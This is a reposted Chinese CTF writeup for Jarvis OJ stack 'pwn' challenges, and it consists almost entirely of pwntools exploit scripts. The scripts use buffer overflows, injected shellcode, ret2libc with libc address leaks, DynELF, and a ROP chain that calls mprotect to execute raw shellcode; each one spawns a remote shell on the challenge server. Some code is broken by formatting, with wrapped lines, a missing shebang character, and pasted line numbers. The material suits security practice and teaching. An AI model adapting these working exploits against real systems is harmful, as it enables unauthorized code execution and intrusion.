Jarvis OJ - 栈系列部分pwn - Writeup

转载

baikeng3674 于 2017-08-13 01:09:00 发布 80 收藏
文章标签： python
原文链接：http://www.cnblogs.com/WangAoBo/p/7352213.html

最近做了Jarvis OJ的一部分pwn题，收获颇丰，现在这里简单记录一下exp，分析过程和思路以后再补上

Tell Me Something

此题与level0类似，请参考level0的writeup
http://www.cnblogs.com/WangAoBo/p/7591552.html

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *

elf = ELF('./guestbook')
good_game_addr = elf.symbols['good_game']

#  io = process('./guestbook')
io = remote('pwn.jarvisoj.com', 9876)
payload = 'A' * 0x88 + p64(good_game_addr)

io.recvuntil('message:\n')
io.send(payload)

print io.recvall()
io.close()
```

Smashes

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
context.log_level = 'debug'

flag_addr = 0x400d21
#  offset = 0x7fffffffcd68 - 0x7fffffffcb50
#  payload = 'A' * offset + p64(flag_addr)

payload = p64(flag_addr) * 200

io = remote('pwn.jarvisoj.com', 9877)
#  io = process('./smashes')

io.recvuntil('name? ')
io.sendline(payload)
#  io.recvuntil('flag: ')
io.recv()
io.sendline()
io.recv()
```

Test Your Memory

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
context.log_level = 'debug'

elf = ELF('./memory')
win_func_addr = elf.symbols['win_func']
cat_flag_addr = elf.search('cat flag').next()

payload = 'A' * (0x13 + 0x4) + p32(win_func_addr) + p32(win_func_addr) + p32(cat_flag_addr)

#  io = process('./memory')
io = remote('pwn2.jarvisoj.com', 9876)
io.recvuntil('> ')
io.sendline(payload)

print io.recvall()
io.close()
```

[XMAN]level0

详细分析

http://www.cnblogs.com/WangAoBo/p/7591552.html

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *

context.log_level = 'debug'

elf = ELF('./level0')
callsys_addr = elf.symbols['callsystem']

#  io = process('./level0')
io = remote('pwn2.jarvisoj.com', 9881)
io.recvuntil('World\n')

payload = 'A' * (0x80 + 0x8) + p64(callsys_addr)
io.send(payload)

io.interactive()
io.close()
```

[XMAN]level1

详细分析
http://www.cnblogs.com/WangAoBo/p/7594173.html

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *

context.log_level = 'debug'

shellcode = asm(shellcraft.i386.linux.sh())
#  io = process('./level1')
io = remote('pwn2.jarvisoj.com', 9877)
text = io.recvline()[14: -2]
#  print text[14:-2]
buf_addr = int(text, 16)

payload = shellcode + 'A' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
io.send(payload)
io.interactive()
io.close()
```

[XMAN]level2

详细分析
http://www.cnblogs.com/WangAoBo/p/7622091.html

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
context.log_level = 'debug'

elf = ELF('./level2')
sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()

payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
#  io = process('./level2')
io = remote('pwn2.jarvisoj.com', 9878)
io.recvuntil('Input:\n')

io.send(payload)
io.interactive()
io.close()
```

[XMAN]level2_x64

level2_x64与level3_x64放在一块分析
http://www.cnblogs.com/WangAoBo/p/7966773.html

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
context.log_level = 'debug'

elf = ELF('./level2_x64')
sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()

rop = ROP(elf)
p_rdi_r_addr = rop.rdi[0]
#  print type(p_rdi_r_addr)

payload = 'A' * (0x80 + 0x8) + p64(p_rdi_r_addr) + p64(sh_addr) + p64(sys_addr) + p64(0xdeadbeef)

#  io = process('./level2_x64')
io = remote('pwn2.jarvisoj.com', 9882)
io.recvuntil('Input:\n')
io.send(payload)
io.interactive()
io.close()
```

[XMAN]level3

level2_x64与level3_x64放在一块分析
http://www.cnblogs.com/WangAoBo/p/7966773.html

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
context.log_level = 'debug'

local = 0
if local:
    io = process('./level3')
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
    io = remote('pwn2.jarvisoj.com', 9879)
    libc = ELF('./libc-2.19.so')

elf = ELF('./level3')
start_elf_addr = elf.symbols['_start']
write_elf_addr = elf.symbols['write']
read_got_addr = elf.got['read']
read_libc_addr = libc.symbols['read']
sys_libc_addr = libc.symbols['system']
sh_libc_addr = libc.search('/bin/sh').next()

payload = 'A' * (0x88 + 0x04) + p32(write_elf_addr) + p32(start_elf_addr) + p32(0x1) + p32(read_got_addr)
+ p32(0x4)

io.recvuntil('Input:\n')
io.send(payload)

read_addr = u32(io.recv(4))
offset = read_addr - read_libc_addr

sys_addr = offset + sys_libc_addr
sh_addr = offset + sh_libc_addr

payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
io.recvuntil('Input:\n')

io.send(payload)
io.interactive()
io.close()
```

[XMAN]level3_x64

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
context.log_level = 'debug'

local = 0
if local:
    io = process('./level3_x64')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    io = remote('pwn2.jarvisoj.com', 9883)
    libc = ELF('./libc-2.19.so')

elf = ELF('./level3_x64')
start_elf_addr = elf.symbols['_start']
write_elf_addr = elf.symbols['write']
read_got_addr = elf.got['read']
read_libc_addr = libc.symbols['read']
sys_libc_addr = libc.symbols['system']
sh_libc_addr = libc.search('/bin/sh').next()

rop = ROP(elf)
p_rdi_r_addr = rop.rdi[0]
p_rsi_r15_r_addr = rop.rsi[0]

payload = 'A' * (0x80 + 0x8)
payload += p64(p_rdi_r_addr)
payload += p64(0x1)
payload += p64(p_rsi_r15_r_addr)
payload += p64(read_got_addr)
payload += p64(0x0)
payload += p64(write_elf_addr)
payload += p64(start_elf_addr)

io.recvuntil('Input:\n')
io.send(payload)

read_addr = u64(io.recv(0x8))
offset = read_addr - read_libc_addr

sys_addr = offset + sys_libc_addr
sh_addr = offset + sh_libc_addr

payload = 'A' * (0x80 + 0x8)
payload += p64(p_rdi_r_addr)
payload += p64(sh_addr)
payload += p64(sys_addr)
payload += p64(0xdeadbeef)

io.recvuntil('Input:\n')
io.send(payload)
io.interactive()
io.close()
```

[XMAN]level4

```
!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
context.log_level = 'debug'

#  io = process('./level4')
io = remote('pwn2.jarvisoj.com', 9880)

elf = ELF('./level4')
write_elf_addr = elf.symbols['write']
start_elf_addr = elf.symbols['_start']
read_elf_addr = elf.symbols['read']
bss_addr = elf.bss()

def leak(addr):
    payload = 'A' * (0x88 + 0x4) + p32(write_elf_addr) + p32(start_elf_addr) + p32(0x1) + p32(addr) +
p32(0x4)

    io.send(payload)
    leaked = io.recv(4)
    log.info("leaked -> %s -> 0x%x" % (leaked, u32(leaked)))
    return leaked

d = DynELF(leak, elf = ELF('./level4'))
sys_addr = d.lookup('system', 'libc')
log.info("sys_addr -> 0x%x" % sys_addr)

payload = 'A' * (0x88 + 0x4) + p32(read_elf_addr) + p32(start_elf_addr) + p32(0x0) + p32(bss_addr) +
p32(0x8)

io.send(payload)
io.send('/bin/sh\0')

sh_addr = bss_addr
payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
io.send(payload)

io.interactive()
io.close()
```

[XMAN]level5

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

def Debug():
    raw_input("waiting for debug:")
    gdb.attach(io, "b *0x0000000000400618")

from pwn import *
context.terminal = ['deepin-terminal', '-x', 'bash', '-c']
context.log_level = 'debug'
```

```python

elf = ELF('./level5')
rop = ROP(elf)
p_rdi_r_addr = rop.rdi[0]
p_rsi_r15_r_addr = rop.rsi[0]

p_rbx_rbp_r12_r13_r14_r15_r = 0x00000000004006aa
mov_call = 0x0000000000400690

local = 0
if local:
    io = process('./level5')
    libc = ELF('./libc.so.6')
else:
    io = remote('pwn2.jarvisoj.com', 9884)
    libc = ELF('./libc-2.19.so')

io.recvuntil('Input:\n')
log.info("Step 1: leak read_addr")

read_libc_addr = libc.symbols['read']
read_got_addr = elf.got['read']
write_elf_addr = elf.symbols['write']
vuln_elf_addr = elf.symbols['vulnerable_function']

payload = 'A' * (0x80 + 0x8)
payload += p64(p_rdi_r_addr)
payload += p64(0x1)
payload += p64(p_rsi_r15_r_addr)
payload += p64(read_got_addr)
payload += p64(0x0000)
payload += p64(write_elf_addr)
payload += p64(vuln_elf_addr)

io.send(payload)

read_addr = u64(io.recv(8))
io.recvuntil('Input:\n')
log.info("leaked read_addr -> 0x%x" % read_addr)

log.info("Step 2: write shellcode 2 bss")
sh_addr = bss_addr = elf.bss()
shellcode =
"\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb
0\x3b\x0f\x05"

payload = 'B' * (0x80 + 0x8)
payload += p64(p_rbx_rbp_r12_r13_r14_r15_r)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(read_got_addr)
payload += p64(len(shellcode) + 1)
payload += p64(bss_addr)
payload += p64(0x0)
payload += p64(mov_call)
payload += 'C' * (7 * 8)
payload += p64(vuln_elf_addr)

io.send(payload)
io.send(shellcode + '\0')
```

```
io.recvuntil('Input:\n')

log.info("Step 3: hijack mprotect 2 __gmon_start__")
mprotect_addr = read_addr - read_libc_addr + libc.symbols['mprotect']
mprotect_hijack_addr = 0x0000000000600a70

payload = 'D' * (0x80 + 0x8)
payload += p64(p_rbx_rbp_r12_r13_r14_r15_r)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(read_got_addr)
payload += p64(0x8)
payload += p64(mprotect_hijack_addr)
payload += p64(0x0)
payload += p64(mov_call)
payload += 'E' * (7 * 8)
payload += p64(vuln_elf_addr)

io.send(payload)
io.send(p64(mprotect_addr))
io.recvuntil('Input:\n')

log.info("Step 4: hijack sh/bss 2 __libc_start_main")
sh_hijack_addr = 0x0000000000600a68

payload = 'F' * (0x80 + 0x8)
payload += p64(p_rbx_rbp_r12_r13_r14_r15_r)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(read_got_addr)
payload += p64(0x8)
payload += p64(sh_hijack_addr)
payload += p64(0x0)
payload += p64(mov_call)
payload += 'G' * (7 * 8)
payload += p64(vuln_elf_addr)

io.send(payload)
io.send(p64(sh_addr))
io.recvuntil('Input:\n')

log.info("Step 5: fix bss 2 777")

payload = 'H' * (0x80 + 0x8)
payload += p64(p_rbx_rbp_r12_r13_r14_r15_r)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(mprotect_hijack_addr)
payload += p64(0x7)
#  payload += p64(len(shellcode) + 1)
#  payload += p64(sh_hijack_addr)
payload += p64(0x1000)
payload += p64(0x00600000)
payload += p64(mov_call)
payload += 'I' * (7 * 8)
payload += p64(vuln_elf_addr)

#  Debug()
io.send(payload)
```

```
129 io.recvuntil('Input:\n')
130
131 log.info("Step 6: execv shllcode")
132
133 payload = 'J' * (0x80 + 0x8)
134 #  payload += p64(sh_addr)
135 payload += p64(p_rbx_rbp_r12_r13_r14_r15_r)
136 payload += p64(0x0)
137 payload += p64(0x1)
138 payload += p64(sh_hijack_addr)
139 payload += p64(0x0)
140 payload += p64(0x0)
141 payload += p64(0x0)
142 payload += p64(mov_call)
143 payload += p64(vuln_elf_addr)
144
145 io.send(payload)
146
147 log.info("Step 7: getshell")
148 io.interactive()
149 io.close()
```